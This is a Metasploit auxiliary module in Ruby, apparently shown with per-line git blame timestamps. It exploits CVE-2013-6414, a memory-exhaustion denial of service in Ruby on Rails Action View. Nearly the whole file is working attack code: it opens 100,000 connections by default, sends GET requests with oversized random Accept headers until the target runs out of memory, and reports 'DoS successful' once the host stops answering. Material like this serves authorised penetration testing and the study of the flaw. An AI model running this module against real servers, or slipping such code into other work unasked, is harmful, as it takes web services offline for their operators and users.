2013-12-04 20:57:30 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-12-04 20:57:30 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-12-04 20:57:30 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2013-12-09 20:00:11 +00:00
|
|
|
'Name' => 'Ruby on Rails Action View MIME Memory Exhaustion',
|
2013-12-04 20:57:30 +00:00
|
|
|
'Description' => %q{
|
2013-12-06 17:57:02 +00:00
|
|
|
This module exploits a Denial of Service (DoS) condition in Action View that requires
|
2013-12-09 20:00:11 +00:00
|
|
|
a controller action. By sending a specially crafted content-type header to a Rails
|
2013-12-06 17:57:02 +00:00
|
|
|
application, it is possible for it to store the invalid MIME type, and may eventually
|
2013-12-09 20:00:11 +00:00
|
|
|
consume all memory if enough invalid MIMEs are given.
|
2013-12-04 20:57:30 +00:00
|
|
|
|
|
|
|
Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Toby Hsieh', # Reported the issue
|
|
|
|
'joev', # Metasploit
|
|
|
|
'sinn3r' # Metasploit
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2013-6414' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '100525' ],
|
2013-12-07 20:25:58 +00:00
|
|
|
[ 'BID', '64074' ],
|
2013-12-04 20:57:30 +00:00
|
|
|
[ 'URL', 'http://seclists.org/oss-sec/2013/q4/400' ],
|
|
|
|
[ 'URL', 'https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Dec 04 2013'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80),
|
2013-12-06 21:48:59 +00:00
|
|
|
OptString.new('URIPATH', [true, 'The URI that routes to a Rails controller action', '/']),
|
|
|
|
OptInt.new('MAXSTRINGSIZE', [true, 'Max string size', 60000]),
|
|
|
|
OptInt.new('REQCOUNT', [true, 'Number of HTTP requests to pipeline per connection', 1]),
|
2013-12-06 21:49:44 +00:00
|
|
|
OptInt.new('RLIMIT', [true, 'Number of requests to send', 100000])
|
2013-12-04 20:57:30 +00:00
|
|
|
],
|
|
|
|
self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def host
|
2013-12-06 17:57:02 +00:00
|
|
|
host = datastore['RHOST']
|
|
|
|
host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
|
|
|
|
host
|
2013-12-04 20:57:30 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def long_string
|
|
|
|
Rex::Text.rand_text_alphanumeric(datastore['MAXSTRINGSIZE'])
|
|
|
|
end
|
|
|
|
|
2013-12-06 20:39:26 +00:00
|
|
|
#
|
|
|
|
# Returns a modified version of the URI that:
|
|
|
|
# 1. Always has a starting slash
|
|
|
|
# 2. Removes all the double slashes
|
|
|
|
#
|
|
|
|
def normalize_uri(*strs)
|
|
|
|
new_str = strs * "/"
|
|
|
|
|
|
|
|
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
|
|
|
|
|
|
|
# Makes sure there's a starting slash
|
2013-12-06 21:52:42 +00:00
|
|
|
unless new_str.start_with?("/")
|
2013-12-06 20:39:26 +00:00
|
|
|
new_str = '/' + new_str
|
|
|
|
end
|
|
|
|
|
|
|
|
new_str
|
|
|
|
end
|
|
|
|
|
2013-12-04 20:57:30 +00:00
|
|
|
def http_request
|
2013-12-06 20:39:26 +00:00
|
|
|
uri = normalize_uri(datastore['URIPATH'])
|
2013-12-06 17:57:02 +00:00
|
|
|
|
2013-12-04 20:57:30 +00:00
|
|
|
http = ''
|
2013-12-06 20:53:35 +00:00
|
|
|
http << "GET #{uri} HTTP/1.1\r\n"
|
2013-12-04 20:57:30 +00:00
|
|
|
http << "Host: #{host}\r\n"
|
2013-12-04 23:22:42 +00:00
|
|
|
http << "Accept: #{long_string}\r\n"
|
2013-12-04 20:57:30 +00:00
|
|
|
http << "\r\n"
|
|
|
|
|
|
|
|
http
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
begin
|
2013-12-06 21:48:59 +00:00
|
|
|
print_status("Stressing the target memory, this will take quite some time...")
|
2013-12-04 23:22:42 +00:00
|
|
|
datastore['RLIMIT'].times { |i|
|
|
|
|
connect
|
2013-12-06 21:48:59 +00:00
|
|
|
datastore['REQCOUNT'].times { sock.put(http_request) }
|
2013-12-04 23:22:42 +00:00
|
|
|
disconnect
|
|
|
|
}
|
|
|
|
|
2013-12-06 17:57:02 +00:00
|
|
|
print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.")
|
2013-12-04 20:57:30 +00:00
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
print_status("Unable to connect to #{host}.")
|
|
|
|
rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
|
2013-12-06 17:57:02 +00:00
|
|
|
print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.")
|
2013-12-04 20:57:30 +00:00
|
|
|
ensure
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-12-06 17:57:02 +00:00
|
|
|
|
|
|
|
=begin
|
|
|
|
|
|
|
|
Reproduce:
|
|
|
|
|
|
|
|
1. Add a def index; end to ApplicationController
|
|
|
|
2. Add an empty index.html.erb file to app/views/application/index.html.erb
|
|
|
|
3. Uncomment the last line in routes.rb
|
|
|
|
4. Hit /application
|
|
|
|
|
|
|
|
=end
|